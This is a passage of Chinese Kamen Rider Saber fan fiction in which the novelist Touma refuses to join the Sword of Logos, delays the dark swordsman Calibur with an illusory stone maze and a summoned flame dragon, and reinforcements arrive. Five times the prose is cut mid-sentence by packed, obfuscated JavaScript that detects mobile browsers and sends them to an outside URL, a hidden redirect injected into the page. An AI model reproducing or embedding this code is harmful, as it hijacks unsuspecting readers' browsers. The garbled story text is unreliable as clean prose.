再次确认了一下备忘录,今天已经没有别的什么事了,外面的天色渐暗,飞羽真起身走到门口,就准备翻招牌歇业了。他在篝市郊区有一栋小屋子,只是不经常回去,毕竟是在郊区,通勤距离有些太远了,来回奔波了几次之后,飞羽真就基本上都睡书店后屋里了,只偶尔,一个月里回去个三五次,打扫一下。 飞羽真拉开门,却见门外出现了一个红色的身影,也正伸手要推门进来,只是手还没有触及到门把,门就朝里打开了,这让她也愣了一瞬,手僵在了半途。 “……” 飞羽真快速地扫了对方一眼,确认了她的身份。 “这个制服,您是‘真理之剑’的人?” 也不等对方答话,飞羽真就侧身让开了道:“请进来说吧,屋里也没别人。” 将人让进了书店里,飞羽真想请她在阅读区落座,那里有沙发,也有小茶几,是很好的会客区,但对方并不买账,只是站在了门口。 “您好,神山飞羽真先生。我是来自‘真理之剑’南方基地的使者,神代玲花。” 来者先是做了自我介绍,她身上的制服形制与伦太郎的那身相同,只是颜色不同,伦太郎是蓝色,而她身上的这件是红色,看来,这就是北方基地和南方基地的差异。 “我们‘真理之剑’是自古以来管理驱动书和圣剑的管理组织,今天,我们发现了炎之圣剑——火炎剑烈火的现世,所以,特意前来拜访。” 飞羽真还是打算先尽地主之谊:“我们坐下说吧?” 然而神代玲花仍旧戳在门口,站得笔直。 “不麻烦了,我只是来确认一下您的意愿。”神代玲花单刀直入地说道:“我们想要招募您加入‘真理之剑’,我知道,之前北方基地打算招募您,已经被您婉拒了。但是,我们南方基地还是打算再争取一下。 “如果说北方基地是‘真理之剑’布置在前线的作战部队,那么我们南方基地就是‘真理之剑’的后勤管理部门,基于两者的立场和职权不同,我们南方基地还是希望您能够加入我们的圣剑剑士体系。 “一方面,确实是为了方便管理,而另一方面,‘真理之剑’也会为剑士提供全方位的情报支持和后勤保障。 “只要您仍旧持有着圣剑和奇幻驱动书,就会成为书之魔人米吉多的目标,单打独斗实在是太危险了。” 神代玲花说到这儿,略微停顿了一会儿,让飞羽真充分发挥他作为小说家的想象力,想象一下他这个没有任何战斗能力的普通人遇上拥有超能力的书之魔人是个什么下场。 “今天您应该已经遭遇过米吉多的袭击了吧?是因为水之剑士Blades的及时增援才没有发生意外,您也理应知道如果Blades晚了一步……” 接着,图穷匕见。 “所以,我们还有另一个提议,如果您真的不想掺和到这么危险的事里去的话,就请由我们‘真理之剑’来保管炎之圣剑——火炎剑烈火以及奇幻驱动书勇气之龙吧,这样,您也就没有了被米吉多袭击的理由。” “……” 飞羽真听神代玲花说完,然后,嘴角就浮现出了一个微笑,这个笑容让神代玲花下意识地感到了不妙,这个小说家完全没被她的话吓到,看起来,甚至还有些跃跃欲试。 “且不说,是不是我真的不再持有圣剑和驱动书就会被米吉多放过。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305119|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >飞羽真拿起了他随手搁在墙边的炎之圣剑,随着他微微侧转剑身,一道一道白色的反射光在屋内扫过。 “我其实很好奇,你们的世界,圣剑也好,驱动书也好,还有剑士和书之魔人千年来的争斗,我作为一个小说家,是不会放过任何取材的机会的。” “而这把剑是门票,我是不会轻易放弃的。” 或许是因为天黑了?屋内的光线变暗了,玲花有些看不分明飞羽真此时的神情了。 “那么,您是否考虑加入‘真理之剑’呢?” 玲花追问道,此时她也不再强调“南方基地”和“北方基地”了,毕竟北方基地已经被他拒绝了。 “你们应该已经知道我拒绝北方基地招募的原因吧,那么我拒绝南方基地的理由也是一样的。” “我可以和你们一起战斗,我们可以成为很好的伙伴——但我无法成为你们的剑士。毕竟,我自由职业者当惯了,又是个体经营者,而最关键的是……” 话音在飞羽真的喉头转了个圈。 “我可不是小孩子。” 接下去的话就没必要说了,飞羽真给玲花递过去了一个“你懂我懂”的眼神。 玲花确实是秒懂,毕竟飞羽真已经说到这份上了。 飞羽真想说的,就是他的服从性会很有问题——一个成年人,还是开门做生意的,那一定是很成熟的,经过见过的实在是太多了。 他这种人,即便加入,也没有任何“忠诚”可言。 而“真理之剑”,是管理书和圣剑的组织,剑士们是用书和圣剑战斗的战士,那也就意味着,“真理之剑”是个类似“圣殿骑士团”那样的军事修会组织。 别管什么修会,总之就是个军事组织。 想也知道,既然是个军事组织,那对组织度的要求一定是极高的。毕竟如果一支军队没有一定的组织度,那么战斗力也可想而知,但“真理之剑”已经传承了千年…… 而飞羽真一个“外人”,贸然加入进去,哪怕是对方邀请的,也难说能得到多少信任。 想通了这一点,玲花也不再坚持,反正,她也不是做决定的人,于是,点点头就打算告辞了。 “……明白了,我会向上级反馈的,今天您也辛苦了。” 然而,她一步都还没跨出去,周围的景象突然发生了变化—— 天顿时大亮了起来,书店消失了,取而代之的是一片荒漠—— “有米吉多来了。” 在玲花转头发问之前,飞羽真就给了她答案。 12. 真是烦死了 在隐秘的小屋内,三个书之魔人聚在桌边,围观着由《魔镜魔镜》投射在半空中的景象。那是一个俯视的视角,视觉中心为一栋木质小屋,坐落于一条客流量相对稀少的街旁。 紧接着,书形的结界撑开,将这栋木质小屋以及周边百多米的区域都框了进去。 “喂,斯特里乌斯。” 拉结尔有些不耐烦地开口道:“那个不靠谱的天灾,再加上Calibur,真的能行吗?” 斯特里乌斯的身形没动,只是眼珠转向了拉结尔:“你觉得他们不行?” “我只是觉得那个叫神山飞羽真的家伙应该尽早除掉,他的能力实在是太麻烦了。”拉结尔现在心情很不好,毕竟损失了一名部下,还是他培养了许久的,此时是既肉疼又愤怒。 “他制造的结界十分克制米吉多,简直就是冲着我们来的。” 兹奥斯也认同地点头。 米吉多确实拥有强大的力量,也有着极强的复原能力,即便被打碎也能很快恢复。 然而,无论是动用强大的力量和那些剑士战斗,还是让受伤的部位快速复原,这都是要消耗能量的,总不能是无中生有的吧。 米吉多的力量之源,就是它藏在体内的“魂匣”,也就是魔改驱动书。 但,小小的一本魔改驱动书,能存储的能量毕竟有限。所以,为了应对米吉多持续作战的消耗,书之结界除了将能量送回书之魔人的基地制作更多的魔改驱动书,还有一部分能量就直接供给给了作为结界支点的米吉多。 甚至,正因为米吉多是结界的支点,它的存续对结界本身至关重要,所以书之结界会优先给它供能——多余的能量才会传送回去。 也因此,身处书之结界内的米吉多是很难被消灭的,因为它如同背了一块近乎无限续航的大电池,能够源源不断地从周围的破坏中摄取能量,它能毫无顾忌地施展自己的超能力,也可以大胆地和剑士们以伤换伤,因为它的能量恢复得极快,而且即便受伤也不怕,反正很快就能愈合。 而剑士们的处境则艰难得多。 他们是人类,活生生的人类。战斗的疲累会不断在身上累积,受了伤也不会很快愈合——如果不做处置,只会持续恶化。当然,也会死。 所以一直以来,只要是发生在书之结界内的战斗,米吉多都是占尽了优势。 然而这种情况,在今天的战斗中出现了转变。 对方剑士展开了一个诡异的结界,阻碍了书之结界和米吉多之间的能量供给渠道。 虽然并没有完完全全将两者隔断,书之结界也不会因此立即崩溃,说明它们之间还是联结着的,但就是很滞塞,很勉强。 “我同意你的看法,拉结尔。” 斯特里乌斯慢条斯理地说道:“不过呢,即便我们可以通过米吉多的‘眼睛’大概了解到结界内发生了什么,但之前那场战斗Saber没有出手,所以,我还是打算再看一看——就让Calibur和天灾帮我们探探他的底吧?” “这有什么好探的!”拉结尔怒道,“你不相信我的判断吗?那个写小说的根本连一点战士的样子都没有,完全就是个普通人。” 斯特里乌斯嘴角浮现出戏谑的微笑,意味深长地看向他。 拉结尔被他这么一看,顿时有些心虚,下意识移开了视线。 ——他不得不承认,斯特里乌斯确实很聪明,不,简直是精明。虽然很不甘心承认自己不如他,但事实摆在这里……这家伙的脑子,他和兹奥斯加起来也比不过。 真是烦死了。 ***************** 与此同时,北极,真理之剑北方基地。 米吉多出现的警报骤然响起,报告了书之结界出现的时间和位置。这个警报声,即便身处释放修炼场内的剑士也能听得一清二楚。 释放修炼场是北区基地内给剑士们提升实力的地方,那里设置了特殊的结界,内部的时间流速和外界不同,所以修炼时,剑士的身体会承受数倍的负担,当然,收获也是数倍。 而警报的内容在重复了三遍之后,释放修炼场的门几乎是在同一时刻就被撞开了——两道身影一前一后冲了出来。 冲在前面的人,正是之前被守书人索菲亚称为Espada的雷之剑士,而追出来的,是个明显更加年轻,看上去根本就还没成年的孩子。 “贤人!” 追出来的孩子叫出了Espada的名字,而Espada根本没心思理他,而是焦急地看向站在上方的索菲亚。向她再次确认信息:“这个地址我记得是……!” “是的。” 索菲亚冷静地点了点头,答道:“是Saber的书店。” 贤人脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305120|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神色沉了下去。他下意识地握紧腰间的雷之圣剑,掌心传来的冰冷触感让他瞬间定了神——下一秒,他拔腿就冲了出去。 “哎!贤人!” 那孩子喊出声的同时,贤人早就跑没影了,于是他赶紧回头征求索菲亚的意见。 索菲亚当然是点头。 “莲,注意安全。” “知道了,我这就出发!” 拿到了出战许可,莲兴高采烈地抓起他的风双剑翠风,也跟着冲了出去,还一边大喊着贤人等等我! ***************** 而此时,在大亮的天光之下,伏倒在沙丘后侧方的两人正谨慎地探查着出现在前方盆地内的两个异形的人形生物。 “那个人是……剑士?” 飞羽真问的人当然是来自“真理之剑”的使者神代玲花,她不是刚刚才介绍说“真理之剑”是管理驱动书和圣剑的组织吗?那,出现在眼前的这个拖着剑的家伙,难道也是组织的剑士? “……” 玲花原本是不想回答的,毕竟,她一眼就认出,来者手中拿着的剑,正是十五年前叛出“真理之剑”的暗之剑士Calibur——富加宫隼人所持有的圣剑,暗黑剑月暗。 但,这说到底算是一桩丑闻,飞羽真又没有加入“真理之剑”,算是个外人,和他说这些不合适。 “是敌人。” 玲花想了想,还是言简意赅地给对方打了个敌对的标,至少,不能让飞羽真产生对方是友军的误判。 眼下的危机该怎么解?玲花的计划很简单——拖延时间,等待援军。 她的圣剑烟睿剑狼烟没带在身边,驱动书也没带……门之书倒是有一本,但在米吉多的书之结界内,连接是断开的,想要进出,只能靠圣剑开辟的通道。 作为南方基地的战斗兼行政人员,她平日里根本不需要随身佩剑。 北方基地常年处于战备状态,剑士们都是时时刻刻剑不离身的;而南方基地则不同,武器是剑士们在轮班值守巡逻时才能申请的,可行动的区域也会因为携带武器而受到限制,至于要携剑出基地?那更是要层层报备。 而今天,她只是来跑腿传话的,以一名行政人员的身份和神山飞羽真接触——谁会想到要申请武器? ……现在想来,确实是托大了。回去得改改这规矩。 13. 石阵 玲花实在是对小说家的战斗力不抱什么希望。 火炎剑烈火会选上他,想必是他身上有别的什么特质吸引了这把失落已久的圣剑,但这个特质绝对不是他的战斗力。 不过,这片荒漠显然是他的手笔,既如此…… “这地方太一马平川了。” 没等玲花把后半句说出口,脚下的沙地就突然震颤起来! “——?!” 玲花诧异转头,就见飞羽真的表情凝重,手握火焰剑烈火,似乎是在酝酿什么—— 紧接着—— 沙粒开始跳动,细密的震颤从身下传来,紧接着,整片沙丘像是被无形的手掌托起又压下,轰然一声,沙尘漫天扬起! 玲花:“……!!” 玲花本能地用袖子捂住口鼻,眯起眼,压低身位。耳边尽是沙粒砸在袖子上的细碎声响,身下的大地仍在持续颤动,她能感觉到她卧倒着的地方,压在身下的沙子在流动、在沉降、在重新凝结。 不知过了多久——也许只是几个呼吸——震动停了。 四周重归寂静,只剩下细沙落回地面的窸窣声。 玲花放下袖子,睁开眼睛。 身下的沙丘不见了,取而代之的是硬质的岩石地面。她抬起头向前望去,前方的盆地地形中,不知何时冒出了密密麻麻的嶙峋巨石,高低错落,将暗之剑士和人形米吉多的身影完全遮蔽,从视线中消失了。 她回头看向飞羽真,而飞羽真则眨眨眼,说道:“拖延时间,对吧?” 玲花凝视着前方堆满了巨石的山谷,有些不确定地问:“这样就行吗?” 就这些石头? “这是八阵图。” 飞羽真也望着那片巨石山谷,虽然,确实是没什么把握,仍旧是以极低的声音解释。 在《三国志》中有提到过,诸葛孔明在重庆的江边利用地形布阵,困住了陆逊的追兵,致使数万军队陷于其中,差点全军覆没。 其实,并没有那么多神神鬼鬼的东西,诸葛丞相也不是什么术士。八阵图的原理其实很简单,就是在巨石阵内部规划出一条易于通行的道路,而这条道路却是环形的。 身处其中时,你只会觉得,你一直在笔直地往前走。只是在遇到挡路的巨石时,会下意识地选择较为干净的那一侧通过。而问题就出在这儿—— 在你绕过挡路巨石的过程中,你的路线就不再是笔直的了,被刻意布置的巨石引导着,行进路线逐渐偏移,甚至围成了一个圈,让你回到出发点。 不过,这个阵的缺点也很明显,只要站到高处,整个巨石阵就一览无余了。 所以…… 飞羽真拿出勇气之龙的驱动书,在玲花面前晃了晃。 “制空权在我手里。” 敢上天就让勇气之龙一尾巴把对方拍下去。 玲花:“……” 不愧是小说家,给对面安排得明明白白。 “那,你能维持这个结界多久?” 玲花顿时起了心思,心想这一套丝滑小连招有点厉害啊,要是自己碰上了,也只能闭上眼睛以免被巨石诱导,然后利用烟睿剑狼烟的能力将身体元素化,强行穿过巨石走直线,不然还真没什么办法反制。这还得是她知道这困人的石阵原理是什么才行。 “维持不了多久。” 飞羽真实话实说:“刚才的沙漠是最简单的场景了,现在场景变复杂了,维持时间就会短很多……不过,我们只要坚持到援军来就行了吧?” *********** 被困于阵中的暗之剑士Calibur并没有轻举妄动,他握着剑,仔细感受着周围的信息,接着,看向佝偻着身子,半蹲在地上的米吉多。 天灾。 是书之魔人他们搞出来的米吉多融合体,实力确实是比单体的米吉多要强大,但精神极不稳定,不好控制。在十五年前,书之魔人他们曾用过一次,之后就将其封印了。 但现在,他们居然把这个麻烦的家伙交给了自己…… 到底是在打什么主意呢,斯特里乌斯? 按下心中逐渐腾起的杀意,暗之剑士问天灾道:“你能找到Saber的所在吗?” “别把我当狗。” 天灾呲牙怼了暗之剑士一句,但还是迤迤然地站起了身,将异形的长剑扛在肩头,就朝着一个方向走了过去。 确实,它闻到了,人类的味道,还不止一人。大概是因为组成自己的融合物里有一只地狱犬的关系吧,它的嗅觉灵敏……但天灾不想承认,正如它说的,它可不想当狗。 暗之剑士也不再多言,只是沉默地跟在天灾身后。 “……这边。” 天灾绕过一块巨石,再次仔细分辨了一下气味的方向,就发现不知不觉间,自己居然离目标越来越远了。 “这些石头……有点东西啊。” 天灾拍了拍身边的一根石柱,回头用轻佻的语调对暗之剑士道:“Calibur,把这根石柱砸掉试试?” 紫光一闪。 轰隆——!! 巨响和光芒几乎同时炸开,石柱从根部断裂,连“慢慢倾斜”的过程都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305121|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直接就朝着天灾所在的那一侧砸了下去! 天灾:“……!!” 来不及怒骂出声,天灾一个飞扑躲开了逼近的阴影,而巨石就重重拍在几米开外的地上,砸起一片碎石和尘土,整个地面都为之一震。 等烟尘稍稍散去,原本完整的石柱已经四分五裂,最大的一块滚出了好几米远。 “破坏场地,对这个巨石阵也有影响吧。” 远远观望着的玲花问飞羽真道。 “没影响啊。” 飞羽真已经席地而坐了,他看着不远处闹出的动静,对玲花解释道:“八阵图就是用来拖延时间的,无论是让敌人在里面绕圈,还是逼得敌人不得不着手破坏布置,反正目的是达到了——” 话音戛然而止。 飞羽真和玲花的面色同时一变,不约而同地看向巨石阵的中央。一股压抑的气场开始向那里汇聚,紧接着,能量汇集的正中间轰然炸开一道冲天的紫色烈焰! 月暗必杀击·邪恶飞龙·一闪! 焰柱中,两道紫黑色的圆形光刃绞合在一起,化作一道十字月牙形的斩击波,撕裂焰柱,直直朝两人所在的方向呼啸而来! “被发现了。” 飞羽真果断起身,横剑于身前—— 轰!斩击波撞上剑身,在炸开了一团紫色焰光的同时,掀掉了飞羽真的帽子。 或许是因为经历了长途的奔袭,这道冲击波没有想象中的强大,飞羽真挡得很轻松,只是—— 周围的景象突然开始动荡。 先是地面,坚实的岩石像被投入石子的水面般荡开涟漪,一圈一圈,越来越淡。接着是那些嶙峋的巨石,轮廓开始模糊,边缘像是被什么东西慢慢啃噬,从远到近,一片一片地消散。 眨眼间,巨石阵消失了。 坚实的地面也消失了。 一切都变回了最初的荒漠——黄沙、烈日、一望无际的荒芜。 两方的人,就这么猝不及防地对上了视线,中间再无任何遮挡。 飞羽真握着剑的手微微收紧,玲花的呼吸一滞。 天灾哼笑一声,完全没了刚才狼狈的模样,还有些得意地掂了掂手里的异形剑,挑衅道:“尽耍些小花招,Saber。要见你一面可真不容易。” 而飞羽真完全无视了米吉多的挑衅,将目光锁定在了人形米吉多身边的那个穿着黑紫色铠甲的剑士身上,问的却是身边的玲花:“神代女士,我想问一下,有‘暗之圣剑’吗?” “那个剑士,是不是暗之剑士?” 玲花:“……” 14. 共鸣 玲花没想到飞羽真能一下猜中,明明只是交锋了一次……难道是,只这一次的交锋,对方就在不经意间暴露给了飞羽真足够多的信息,以至于这位小说家瞬间猜出了对方剑士的身份? “是的。” 既然都猜到了,那玲花也就不瞒了,一边紧盯着远处那两道身影的动向,一边压低声音,言简意赅: “暗之剑士Calibur。十五年前带着暗黑剑月暗叛出了真理之剑,之后杳无音讯。” 十五年。 偏偏在这个时间点现身。 玲花的余光下意识地扫向飞羽真——是因为火焰剑烈火现世了吗? 像是回应她的猜测,远处那道裹着暗色的身影动了。 沙地传来窸窣的脚步声。暗之剑士Calibur一步一步朝两人走来,每一步都踩得很实,在松软的沙面上留下深深的脚印。 他的声音不高,却清晰地穿透风沙,落进两人耳中: “交出火焰剑烈火和勇气之龙奇幻驱动书。” “或者,杀掉你之后,从你的尸体上拿走它们。” “选择吧。” 面对敌人不善的逼近,飞羽真脸上的神情不变,完全没有被人要挟了的慌张。 “让我选择吗?” 飞羽真从腰间的口袋里拿出了勇气之龙的奇幻驱动书,不躲也不藏,明晃晃地展示在了对方面前,手指一拨翻开封面。 “不,我觉得——比起问我,你更应该问问它们的意见。” 他低头看了一眼书页,以一种奇妙的如同吟游诗人般的语调,吐字道: “勇气之龙,有人想把你从我身边夺走。” “这种事,简直是无理至极,决不允许。” 最后的这一句,带上了明显的和声,就好像是有谁在和飞羽真一同说话。 话音刚落,书页骤然迸发出灼目的红光。 吼——!! 一声龙吟震彻整片荒漠,沙粒在这声咆哮中簌簌跳动,空气都仿佛凝固了一瞬。 紧接着,红光冲天而起! 在红光中,一道巨大的裂缝撕裂开来,灼热的气浪从中喷涌而出。裂缝深处,光芒越来越亮,越来越盛,像是有什么东西正挣扎着要从另一个世界挤进这里—— 下一秒。 一头浑身冒火的霸王龙从裂缝中咆哮着冲出,重重地落在了飞羽真和暗之剑士之间! 玲花惊呆了。 我什么场面没见过。 这场面我是真没见过。 这就是奇幻驱动书·勇气之龙的正体吗?并非是奇幻小说中常见的有三对肢体的巨龙,而是一只形似霸王龙的大蜥蜴。只是,龙身上的每一片鳞片都燃烧着火焰,每一片都像是刚从熔岩中捞出来似的。它的体型巨大,足有六层楼那么高,十多吨的体重猛然砸向沙地,扬起的沙砾甚至都还没来得及落地,在半空中就被它周身的高温烧成了闪闪发光的玻璃晶体。 它张开巨口,喉咙深处翻滚着灼目的火光,发出威胁的低吼。 ——决不允许。 或许只是巧合?龙的低吼声听上去竟像是在重复飞羽真刚才的话语。灼热的气息从它的齿缝间喷涌而出,将周围的空气都烤得扭曲起来。 一双金色的竖瞳锁定了前方的暗之剑士。 “走。” 不由得玲花多看,飞羽真拉起她就往远处跑,有勇气之龙拖住敌人,他们俩此时不跑更待何时。 在奔逃中,玲花能感觉到背后是一股又一股的热浪,是那只浑身冒火的霸王龙在挥爪与甩尾,热流就随着它狂暴的动作向着四面八方扩散。 玲花知道奇幻驱动书确实有这种用法——就像书之魔人用魔改驱动书召唤出米吉多一样,奇幻驱动书也可以召唤出它记述的故事主体,就像水之剑士的《雄狮战记》,可以召唤出水狮来骑乘或攻击,也算是一种另类的米吉多。 就说玲花自己持有的奇幻驱动书《昆虫大百科》,也能召唤出蜂群。 但她几乎没这么用过。 因为不值。 召唤一次的精力消耗着实不低,在战斗中这么做,亏得很。召出来的东西能撑多久?能打出多少伤害?有那功夫,还不如用奇幻驱动书给自己套上铠甲,直接冲上去和敌人拼杀。 剑士的剑,比任何召唤物都可靠。 可眼前这人…… 玲花看向飞羽真的侧脸,他握着剑的手很稳,脸上也没有半点疲态。 ……或许,这就是火焰剑烈火选择他的原因?这位小说家并没有用剑作战的经验,但他的精神力极为强大,所以,完全可以用奇幻驱动书召唤奇幻生物来作战。 勇气之龙啊…… 暗之剑士那掩在面甲下的瞳孔微微收缩。 挂在腰间的奇幻驱动书·邪恶飞龙骤然迸发出暗色的光芒,一明一暗,如同心跳。他感觉到驱动书在震颤——不是普通的颤动,而是某种近乎渴望的共鸣,仿佛沉睡的野兽闻到了宿敌的气息。 它醒了。 邪恶飞龙在与勇气之龙共鸣。那股躁动的意念顺着他的掌心往上爬,催促着,拉扯着,近乎急切地想要驱使它的主人——去靠近那个炎之剑士,去与之战斗! 暗之剑士的手掌缓缓收紧,按住了腰间那本躁动不安的书。 暗芒在他指缝间明明灭灭。 他抬起头,目光越过沙地,越过那头咆哮的红色霸王龙,落在远处那个正在飞速远离的身影上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305122|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后他低下头,按住了腰间的书。掌心传来的震颤渐渐平息。 等等,现在还不行。 而天灾,自勇气之龙出现的那一刻,它就立即将目标转向了Saber。它可不是傻子!只看勇气之龙的这个身高和吨位,它就知道这不是它能短时间内轻易击杀的存在,搞不好就和自己这种米吉多一样,只要没有破坏掉驱动书,就能无限复生,既如此—— 那就直接越过它,干掉它的主人神山飞羽真! 然而,或许是勇气之龙读出了它的企图,亦或者是飞羽真早有预料,正远程操控着勇气之龙。总之,那只巨大的脚爪,总能踩在天灾的面前,截断它的去路。 勇气之龙忠实地执行着主人下达的命令—— 拖延,阻截,不恋战。 于是,当北方基地的两位剑士穿过圣剑制造的通道进入书之结界,迎面而来的就是如此壮观的一幕—— 此刻站在你面前的是,蜥形纲的末代霸主,白垩纪的至高皇帝,跨越六千六百万年归来的火焰化身!合弓纲的废物点心们!来战啊! “龙!” 莲在一瞬惊愕之后,就是兴奋得两眼发光!巨大的龙,简直就是强大的代名词! 而贤人看到了正朝着这边飞奔而来的两人,其中一人穿着红色的真理之剑制服,应该是隶属南方基地的剑士,而另一人—— “飞羽真!” 他不自觉地喊出了对方的名字。 “哦!你们终于来了!”飞羽真也挥手喊道,跑来与两人会合。 见飞羽真仿佛没在意自己直呼其名,贤人心里松了口气的同时,又隐隐有些失落。 果然,还是没记起我…… 但现在不是想这个的时候。 一道红色的星芒也在此时飞到了近前,准确地落回到了飞羽真的手中,变成了一本奇幻驱动书。贤人往星芒飞来的方向看去,那头红色的龙消失不见了。 “1分47秒。” 飞羽真看了一眼腕表,确认了勇气之龙可存续的极限时间。而玲花在认出前来支援的两人后,目光只在贤人身上停了一瞬,随即迅速将敌情告知两位剑士: “一只气息很奇怪的米吉多。”她顿了顿,意有所指地看向贤人,“还有,暗之剑士。” 暗之……剑士! 贤人只觉得一股战栗感从脊背直冲头顶。下一秒,他毫不意外地接收到了来自飞羽真的诧异视线——他知道自己此刻的表情有多难看了。 “我来处理。” 他咬着牙,握紧了手中的雷鸣剑黄雷。 那是他暌违了十五年的父亲。让他背负了十五年“叛徒之子”名号的人。 他有太多的话,想当面问他。 15. 记忆 真理之剑,北方基地。 索菲亚双手交握,抵在唇前,默默祈祷。 除此之外,她什么也做不了,作为北方基地的守书人,索菲亚同时也是支撑北方基地结界的支点,守护着基地的建筑、设施和藏书。这也就意味着,她不能离开北方基地半步,在目送着剑士们离开后,她能做的,就只剩祈祷。祈祷着地面上的书之结界快点消失,祈祷着剑士们能平安归来。 大厅的正门迟迟不开,倒是大厅侧边的门打开了,走进来的是伦太郎。 “Blades,你还没去休息吗?”索菲亚问。 “嗯,我刚才听到警报声了。”伦太郎拉开圆桌旁的椅子,坐了下来。 他虽然听到了警报声,但也无法去助战,一方面,上午的战斗消耗了大量的体力,身上还带着伤,接下来至少三天他都不会拿到出击指令。另一方面,他的水势剑流水和奇幻驱动书《雄狮战记》都送到负责为圣剑和驱动书做检修工作的刀匠大秦寺哲雄那儿去了。 空闲之余,他又在盘算之前飞羽真对他说过的话了,他告诉自己说,水势剑流水应该有着制造幻觉的能力,你从未用过,不代表它没有这个能力。 于是,伦太郎返回北方基地后,就钻进了资料室,在长桌边落座,面前堆着几本从书库深处翻出来的古籍。他翻开一本,又合上,换另一本。他已经是水之剑士了,也由不得他挑挑拣拣。眼下能做的,就是尽可能地发挥圣剑和驱动书的全部能力,增强自己的战斗力,这是他作为剑士的义务。 他可不想因为他的无知,反而拖了圣剑和驱动书的后腿。 警报响起来的时候,伦太郎从资料堆里抬起了头。他听了一会儿警报的内容,然后又低下头,继续翻下一页。 但手底下的字开始飘了。 同一个段落他看了三遍,愣是没记住写的是什么。伦太郎叹了口气,把书合上。 看不进去了。 他起身,没继续勉强自己。学习这种事,状态不对的话,就算是想要硬塞也没法把知识塞进脑子里去。他把书摞好,出了资料室就往中央大厅走去,脚步都不自觉地加快了一点。 于是,如今中央大厅内,两人一坐一站,都心焦地等着,直到—— 砰——! 伴随着杂乱的脚步声,中央大厅的门被重重撞开。 伦太郎几乎是从椅子上弹起来的——他根本没意识到自己等得浑身绷紧,跳起来的时候差点摔倒! 撞进门来的是三个人。那个叫飞羽真的小说家,另一边是风之剑士的绯道莲。两人中间架着一个人—— “……贤人!” 伦太郎的声音都变了调。 贤人被两人架着,双腿几乎拖在地上,制服破了好几处,露出的皮肤上全是擦伤和淤青。左臂以一个不自然的角度垂着,像是脱臼了。他的头发乱糟糟的,沾满了沙土,有一缕被血糊在额头上。脸上更是惨不忍睹——从眉骨到下巴,血糊了半张脸,有的已经干了,变成暗红色的痂,有的还是新鲜的,顺着下颌往下滴,一滴一滴砸在地板上。 伦太郎三步并作两步冲上去,一把接过贤人的另一边,把飞羽真替下来。 飞羽真被挤开也不恼,顺势退到一边,抬手抹了把额头的汗。 伦太郎架着贤人,感觉到他的身体软得像一摊泥,心猛地往下沉了一截。他侧头看了飞羽真一眼,语气急促地解释了一句:“这里交给我就行,你对这里不熟。” 飞羽真点点头,他当然有自知之明,这地方他也才是第二次来,连治疗室的门朝哪开都不知道,于是干脆地答道:“好。” 伦太郎说完,就和莲一起架着贤人,朝中央大厅另一侧的门走去,飞羽真也赶紧跑过去帮他们推开门。 索菲亚担忧地看着三人离开的方向,直到他们的脚步声远去,才回过头来看已经在中央大厅的圆桌旁坐定的飞羽真,问道:“Saber,结界中到底发生了什么?” “索菲亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305123|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女士。” 飞羽真抬头看向站在高台上的白衣守书人,没有回答她的提问,而是问道:“十五年前的事,您知道多少?” “……?” 飞羽真的发问出乎索菲亚的意料,她面上的表情明显一僵。 “我们在书之结界里遇到了暗之剑士,还有一只叫做‘天灾’的米吉多。无论是那个剑士,还是米吉多,实力都非常强劲。我们没能打败他们,是他们主动撤离的。” 